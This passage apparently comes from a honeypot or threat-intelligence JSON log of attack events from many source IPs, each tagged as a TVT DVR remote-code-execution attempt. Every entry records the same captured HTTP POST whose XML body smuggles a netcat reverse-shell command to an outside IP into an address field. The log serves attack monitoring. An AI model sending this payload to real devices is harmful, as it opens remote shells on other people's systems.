  7778.       "source_ip_address": "61.219.187.44",
  7779.       "country": "TW",
  7780.       "user_agent": "Help",
  7781.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7782.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7783.       "target_port": 81,
  7784.       "protocol": "tcp",
  7785.       "tags": [
  7786.         {
  7787.           "cve": "",
  7788.           "category": "IoT",
  7789.           "description": "TVT (Generic OEM) DVR RCE"
  7790.         }
  7791.       ],
  7792.       "event_count": 54,
  7793.       "first_seen": "2019-12-20T15:19:59Z",
  7794.       "last_seen": "2019-12-20T15:19:59Z"
  7795.     },
  7796.     {
  7797.       "source_ip_address": "89.179.243.106",
  7798.       "country": "RU",
  7799.       "user_agent": "Help",
  7800.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7801.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7802.       "target_port": 8080,
  7803.       "protocol": "tcp",
  7804.       "tags": [
  7805.         {
  7806.           "cve": "",
  7807.           "category": "IoT",
  7808.           "description": "TVT (Generic OEM) DVR RCE"
  7809.         }
  7810.       ],
  7811.       "event_count": 1,
  7812.       "first_seen": "2019-12-20T15:12:14Z",
  7813.       "last_seen": "2019-12-20T15:12:14Z"
  7814.     },
  7815.     {
  7816.       "source_ip_address": "192.0.6.240",
  7817.       "country": "KY",
  7818.       "user_agent": "Help",
  7819.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7820.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7821.       "target_port": 8080,
  7822.       "protocol": "tcp",
  7823.       "tags": [
  7824.         {
  7825.           "cve": "",
  7826.           "category": "IoT",
  7827.           "description": "TVT (Generic OEM) DVR RCE"
  7828.         }
  7829.       ],
  7830.       "event_count": 1,
  7831.       "first_seen": "2019-12-20T14:43:28Z",
  7832.       "last_seen": "2019-12-20T14:43:28Z"
  7833.     },
  7834.     {
  7835.       "source_ip_address": "147.158.52.217",
  7836.       "country": "MY",
  7837.       "user_agent": "Help",
  7838.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7839.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7840.       "target_port": 81,
  7841.       "protocol": "tcp",
  7842.       "tags": [
  7843.         {
  7844.           "cve": "",
  7845.           "category": "IoT",
  7846.           "description": "TVT (Generic OEM) DVR RCE"
  7847.         }
  7848.       ],
  7849.       "event_count": 1,
  7850.       "first_seen": "2019-12-20T14:32:24Z",
  7851.       "last_seen": "2019-12-20T14:32:24Z"
  7852.     },
  7853.     {
  7854.       "source_ip_address": "123.110.245.106",
  7855.       "country": "TW",
  7856.       "user_agent": "Help",
  7857.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7858.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7859.       "target_port": 81,
  7860.       "protocol": "tcp",
  7861.       "tags": [
  7862.         {
  7863.           "cve": "",
  7864.           "category": "IoT",
  7865.           "description": "TVT (Generic OEM) DVR RCE"
  7866.         }
  7867.       ],
  7868.       "event_count": 3,
  7869.       "first_seen": "2019-12-20T14:26:29Z",
  7870.       "last_seen": "2019-12-20T14:26:29Z"
  7871.     },
  7872.     {
  7873.       "source_ip_address": "46.255.244.217",
  7874.       "country": "IT",
  7875.       "user_agent": "Help",
  7876.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7877.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7878.       "target_port": 8080,
  7879.       "protocol": "tcp",
  7880.       "tags": [
  7881.         {
  7882.           "cve": "",
  7883.           "category": "IoT",
  7884.           "description": "TVT (Generic OEM) DVR RCE"
  7885.         }
  7886.       ],
  7887.       "event_count": 2,
  7888.       "first_seen": "2019-12-20T13:59:15Z",
  7889.       "last_seen": "2019-12-20T13:59:15Z"
  7890.     },
  7891.     {
  7892.       "source_ip_address": "187.147.123.167",
  7893.       "country": "MX",
  7894.       "user_agent": "Help",
  7895.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7896.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7897.       "target_port": 8080,
  7898.       "protocol": "tcp",
  7899.       "tags": [
  7900.         {
  7901.           "cve": "",
  7902.           "category": "IoT",
  7903.           "description": "TVT (Generic OEM) DVR RCE"
  7904.         }
  7905.       ],
  7906.       "event_count": 6,
  7907.       "first_seen": "2019-12-20T06:43:52Z",
  7908.       "last_seen": "2019-12-20T13:36:48Z"
  7909.     },
  7910.     {
  7911.       "source_ip_address": "88.24.227.219",
  7912.       "country": "ES",
  7913.       "user_agent": "Help",
  7914.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7915.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7916.       "target_port": 80,
  7917.       "protocol": "tcp",
  7918.       "tags": [
  7919.         {
  7920.           "cve": "",
  7921.           "category": "IoT",
  7922.           "description": "TVT (Generic OEM) DVR RCE"
  7923.         }
  7924.       ],
  7925.       "event_count": 1,
  7926.       "first_seen": "2019-12-20T13:33:07Z",
  7927.       "last_seen": "2019-12-20T13:33:07Z"
  7928.     },
  7929.     {
  7930.       "source_ip_address": "188.6.64.165",
  7931.       "country": "HU",
  7932.       "user_agent": "Help",
  7933.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7934.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7935.       "target_port": 8080,
  7936.       "protocol": "tcp",
  7937.       "tags": [
  7938.         {
  7939.           "cve": "",
  7940.           "category": "IoT",
  7941.           "description": "TVT (Generic OEM) DVR RCE"
  7942.         }
  7943.       ],
  7944.       "event_count": 4,
  7945.       "first_seen": "2019-12-20T13:15:35Z",
  7946.       "last_seen": "2019-12-20T13:15:35Z"
  7947.     },
  7948.     {
  7949.       "source_ip_address": "84.52.97.249",
  7950.       "country": "RU",
  7951.       "user_agent": "Help",
  7952.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7953.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7954.       "target_port": 8080,
  7955.       "protocol": "tcp",
  7956.       "tags": [
  7957.         {
  7958.           "cve": "",
  7959.           "category": "IoT",
  7960.           "description": "TVT (Generic OEM) DVR RCE"
  7961.         }
  7962.       ],
  7963.       "event_count": 1,
  7964.       "first_seen": "2019-12-20T13:10:10Z",
  7965.       "last_seen": "2019-12-20T13:10:10Z"
  7966.     },
  7967.     {
  7968.       "source_ip_address": "124.111.117.196",
  7969.       "country": "KR",
  7970.       "user_agent": "Help",
  7971.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7972.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7973.       "target_port": 80,
  7974.       "protocol": "tcp",
  7975.       "tags": [
  7976.         {
  7977.           "cve": "",
  7978.           "category": "IoT",
  7979.           "description": "TVT (Generic OEM) DVR RCE"
  7980.         }
  7981.       ],
  7982.       "event_count": 4,
  7983.       "first_seen": "2019-12-20T12:59:24Z",
  7984.       "last_seen": "2019-12-20T12:59:24Z"
  7985.     },
  7986.     {
  7987.       "source_ip_address": "177.231.221.172",
  7988.       "country": "MX",
  7989.       "user_agent": "Help",
  7990.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7991.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7992.       "target_port": 81,
  7993.       "protocol": "tcp",
  7994.       "tags": [
  7995.         {
  7996.           "cve": "",
  7997.           "category": "IoT",
  7998.           "description": "TVT (Generic OEM) DVR RCE"
  7999.         }
  8000.       ],
  8001.       "event_count": 4,
  8002.       "first_seen": "2019-12-20T12:46:33Z",
  8003.       "last_seen": "2019-12-20T12:46:33Z"
  8004.     },
  8005.     {
  8006.       "source_ip_address": "82.80.132.136",
  8007.       "country": "IL",
  8008.       "user_agent": "Help",
  8009.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8010.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8011.       "target_port": 88,
  8012.       "protocol": "tcp",
  8013.       "tags": [
  8014.         {
  8015.           "cve": "",
  8016.           "category": "IoT",
  8017.           "description": "TVT (Generic OEM) DVR RCE"
  8018.         }
  8019.       ],
  8020.       "event_count": 1,
  8021.       "first_seen": "2019-12-20T12:34:59Z",
  8022.       "last_seen": "2019-12-20T12:34:59Z"
  8023.     },
  8024.     {
  8025.       "source_ip_address": "87.97.29.163",
  8026.       "country": "HU",
  8027.       "user_agent": "Help",
  8028.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8029.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8030.       "target_port": 80,
  8031.       "protocol": "tcp",
  8032.       "tags": [
  8033.         {
  8034.           "cve": "",
  8035.           "category": "IoT",
  8036.           "description": "TVT (Generic OEM) DVR RCE"
  8037.         }
  8038.       ],
  8039.       "event_count": 1,
  8040.       "first_seen": "2019-12-20T12:22:50Z",
  8041.       "last_seen": "2019-12-20T12:22:50Z"
  8042.     },
  8043.     {
  8044.       "source_ip_address": "162.228.90.124",
  8045.       "country": "US",
  8046.       "user_agent": "Help",
  8047.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8048.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8049.       "target_port": 8080,
  8050.       "protocol": "tcp",
  8051.       "tags": [
  8052.         {
  8053.           "cve": "",
  8054.           "category": "IoT",
  8055.           "description": "TVT (Generic OEM) DVR RCE"
  8056.         }
  8057.       ],
  8058.       "event_count": 2,
  8059.       "first_seen": "2019-12-20T12:13:01Z",
  8060.       "last_seen": "2019-12-20T12:13:01Z"
  8061.     },
  8062.     {
  8063.       "source_ip_address": "185.169.181.236",
  8064.       "country": "TR",
  8065.       "user_agent": "Help",
  8066.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8067.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8068.       "target_port": 88,
  8069.       "protocol": "tcp",
  8070.       "tags": [
  8071.         {
  8072.           "cve": "",
  8073.           "category": "IoT",
  8074.           "description": "TVT (Generic OEM) DVR RCE"
  8075.         }
  8076.       ],
  8077.       "event_count": 1,
  8078.       "first_seen": "2019-12-20T12:04:34Z",
  8079.       "last_seen": "2019-12-20T12:04:34Z"
  8080.     },
  8081.     {
  8082.       "source_ip_address": "76.107.146.121",
  8083.       "country": "US",
  8084.       "user_agent": "Help",
  8085.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8086.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8087.       "target_port": 8000,
  8088.       "protocol": "tcp",
  8089.       "tags": [
  8090.         {
  8091.           "cve": "",
  8092.           "category": "IoT",
  8093.           "description": "TVT (Generic OEM) DVR RCE"
  8094.         }
  8095.       ],
  8096.       "event_count": 1,
  8097.       "first_seen": "2019-12-20T11:37:51Z",
  8098.       "last_seen": "2019-12-20T11:37:51Z"
  8099.     },
  8100.     {
  8101.       "source_ip_address": "74.66.194.76",
  8102.       "country": "US",
  8103.       "user_agent": "Help",
  8104.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8105.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8106.       "target_port": 8080,
  8107.       "protocol": "tcp",
  8108.       "tags": [
  8109.         {
  8110.           "cve": "",
  8111.           "category": "IoT",
  8112.           "description": "TVT (Generic OEM) DVR RCE"
  8113.         }
  8114.       ],
  8115.       "event_count": 1,
  8116.       "first_seen": "2019-12-20T11:12:06Z",
  8117.       "last_seen": "2019-12-20T11:12:06Z"
  8118.     },
  8119.     {
  8120.       "source_ip_address": "41.215.8.66",
  8121.       "country": "KE",
  8122.       "user_agent": "Help",
  8123.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8124.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8125.       "target_port": 88,
  8126.       "protocol": "tcp",
  8127.       "tags": [
  8128.         {
  8129.           "cve": "",
  8130.           "category": "IoT",
  8131.           "description": "TVT (Generic OEM) DVR RCE"
  8132.         }
  8133.       ],
  8134.       "event_count": 3,
  8135.       "first_seen": "2019-12-20T11:10:30Z",
  8136.       "last_seen": "2019-12-20T11:10:30Z"
  8137.     },
  8138.     {
  8139.       "source_ip_address": "175.203.76.251",
  8140.       "country": "KR",
  8141.       "user_agent": "Help",
  8142.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8143.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8144.       "target_port": 8080,
  8145.       "protocol": "tcp",
  8146.       "tags": [
  8147.         {
  8148.           "cve": "",
  8149.           "category": "IoT",
  8150.           "description": "TVT (Generic OEM) DVR RCE"
  8151.         }
  8152.       ],
  8153.       "event_count": 1,
  8154.       "first_seen": "2019-12-20T11:10:29Z",
  8155.       "last_seen": "2019-12-20T11:10:29Z"
  8156.     },
  8157.     {
  8158.       "source_ip_address": "59.127.66.55",
  8159.       "country": "TW",
  8160.       "user_agent": "Help",
  8161.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8162.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8163.       "target_port": 8080,
  8164.       "protocol": "tcp",
  8165.       "tags": [
  8166.         {
  8167.           "cve": "",
  8168.           "category": "IoT",
  8169.           "description": "TVT (Generic OEM) DVR RCE"
  8170.         }
  8171.       ],
  8172.       "event_count": 1,
  8173.       "first_seen": "2019-12-20T11:09:33Z",
  8174.       "last_seen": "2019-12-20T11:09:33Z"
  8175.     },
  8176.     {
  8177.       "source_ip_address": "46.233.103.193",
  8178.       "country": "GB",
  8179.       "user_agent": "Help",
  8180.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8181.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8182.       "target_port": 8080,
  8183.       "protocol": "tcp",
  8184.       "tags": [
  8185.         {
  8186.           "cve": "",
  8187.           "category": "IoT",
  8188.           "description": "TVT (Generic OEM) DVR RCE"
  8189.         }
  8190.       ],
  8191.       "event_count": 1,
  8192.       "first_seen": "2019-12-20T10:57:53Z",
  8193.       "last_seen": "2019-12-20T10:57:53Z"
  8194.     },
  8195.     {
  8196.       "source_ip_address": "176.251.28.222",
  8197.       "country": "GB",
  8198.       "user_agent": "Help",
  8199.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8200.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8201.       "target_port": 88,
  8202.       "protocol": "tcp",
  8203.       "tags": [
  8204.         {
  8205.           "cve": "",
  8206.           "category": "IoT",
  8207.           "description": "TVT (Generic OEM) DVR RCE"
  8208.         }
  8209.       ],
  8210.       "event_count": 1,
  8211.       "first_seen": "2019-12-20T10:42:16Z",
  8212.       "last_seen": "2019-12-20T10:42:16Z"
  8213.     },
  8214.     {
  8215.       "source_ip_address": "201.103.248.214",
  8216.       "country": "MX",
  8217.       "user_agent": "Help",
  8218.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8219.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8220.       "target_port": 8000,
  8221.       "protocol": "tcp",
  8222.       "tags": [
  8223.         {
  8224.           "cve": "",
  8225.           "category": "IoT",
  8226.           "description": "TVT (Generic OEM) DVR RCE"
  8227.         }
  8228.       ],
  8229.       "event_count": 4,
  8230.       "first_seen": "2019-12-20T10:39:51Z",
  8231.       "last_seen": "2019-12-20T10:39:51Z"
  8232.     },
  8233.     {
